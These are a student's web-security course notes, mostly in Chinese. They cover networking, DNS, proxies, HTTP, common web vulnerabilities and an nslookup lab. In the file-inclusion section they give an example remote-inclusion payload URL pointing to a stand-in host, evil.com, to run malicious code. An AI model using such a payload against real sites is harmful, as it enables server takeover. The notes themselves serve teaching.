Chapter 1 - Web
Outline: https://cubicy.notion.site/2024-Web-4d50db2d026c4fffb76bfebdc1f9d553
Web 方向简介
Web 应用架构: 客户端 + 服务端
-
Client: Browser
Visualization, cookie…
-
Server: One or more servers
Authentication, arthorication
网络: 数据交换
-
Transportation of data-package & routin
-
Domain name & DNS system
-
OSI model & TCP/IP model
-
TCP/UDP
传输层: 端口对端口
bit stream without boundary- TCP: 面向连接
- UDP: 无连接的数据包
-
IP 协议
网络层: 主机与主机 -
DNS 工作流程
- DNS record
nslookup |
-
Proxy
- 正向代理
VPN - 反向代理
内网穿透, Cloud Flare
- 正向代理
-
HTTP 协议
无状态: 需要应用层自行维护 (cookie, session, token)- 报文格式 (F12 - Network / Burpsuit)
后端: 业务逻辑
常见技术栈: PHP, Node.js, Python, Go, Rust…
CTF 常见形式: 逻辑漏洞 & 注入漏洞
PHP
SQL
Create, Delete, Update, Read
相关安全话题
-
Cookie & Session
- Cookie: little text stored in user’s browser
Cookie 劫持: XSS attack - Session: temporary data stored in server
- Cookie: little text stored in user’s browser
-
逻辑漏洞
Tks for inventing Javascript
-
任意文件读与任意代码执行
例如一个 Web 应用允许用户上传头像, 但未对上传的文件进行严格的类型和内容检查. 攻击者上传一个包含恶意代码的文件, 并通过文件包含漏洞执行该代码, 从而控制服务器
CTF竞赛中, 能读服务器上
/flag
则读,否则就暗示我们需要 RCE (不然连 flag 在哪个文件都不知道) -
文件包含
例如一个 Web 应用允许用户通过 URL 参数指定要包含的文件, 如
index.php?page=about
. 攻击者可以通过构造恶意 URL, 如index.php?page=http://evil.com/malicious.php
, 包含远程恶意文件, 从而执行恶意代码 -
越权
例如一个 Web 应用允许用户查看自己的订单信息, 但未正确验证用户的身份. 攻击者可以通过篡改 URL 参数, 如order.php?id=123
, 查看其他用户的订单信息
永远不要相信用户的数据! 前端代码也许永远不会访问其他用户的数据, 但这不代表恶意攻击者就不会
前端:可视化与操作逻辑
三件套
Node.js
TypeScript
相关安全问题
- XSS (跨站脚本攻击)
- CSRF (跨站请求伪造)
- SSRF (服务器端请求伪造)
- 跨域
Web Lab 1
Link: https://courses.zjusec.com/intro/web-lab1/
Task 1: DNS
以 www.baidu.com 为例, 展示 nslookup 命令的不同情况
- Default
$ nslookup www.baidu.com |
这里展示的是 www.baidu.com 的 DNS 记录, 其中 “非权威应答” 可以理解为这个域名的 DNS 记录是缓存在浙大的某 DNS 服务器上的, 并不是实时的, 因此可能是过时的
- 查询权威域名服务器
权威域名服务器, 也被称为主域名服务器, 负责维护一个区域的所有域名信息,是特定的所有信息的权威信息源
$ nslookup -type=ns www.baidu.com |
- 查询 DNS A 记录
A 记录也称 IPv4 记录
$ nslookup -type=a www.baidu.com |
- 查询 DNS TXT 记录
nslookup -type=txt www.github.com |
关于虚拟主机 & 反向代理
尝试通过浏览器直接访问某 IP…
啊哦, 被阻拦了, 因为我们尝试通过一个 IP 直接访问服务器而不是域名, 出于安全考虑, 这样的操作是不被允许的; 实际上, 这些 IP 也并不是服务器的真实地址
在这里, 服务提供商使用了反向代理 / 虚拟主机技术: 服务器在收到请求时, 会根据请求头中包含的 Host Header 来区分不同的虚拟主机, 再根据主机名的不同将请求通过反向代理的方式转发给服务器内部的不同虚拟主机上, 因此仅凭上面的 IP, 访问者无从得知真正提供服务的服务器的 IP
对应到这个实际例子, 不论我们访问哪个域名, Web 服务器都会把请求转发到同一个虚拟主机上, 同一个虚拟主机提供的服务自然是一样的; 当访问者试图通过 IP 直接访问, 由于缺少 Host Header 信息, Web 服务器就会拒绝这次非法访问, 也就出现了上图所示的结果
假如网站管理员更换了服务器, 也仅需让 Web 服务器将请求转发到新的服务器上, 这样访问者眼里的 IP 地址依然是不变的
Task 2: HTTP
直接抓就行了, 略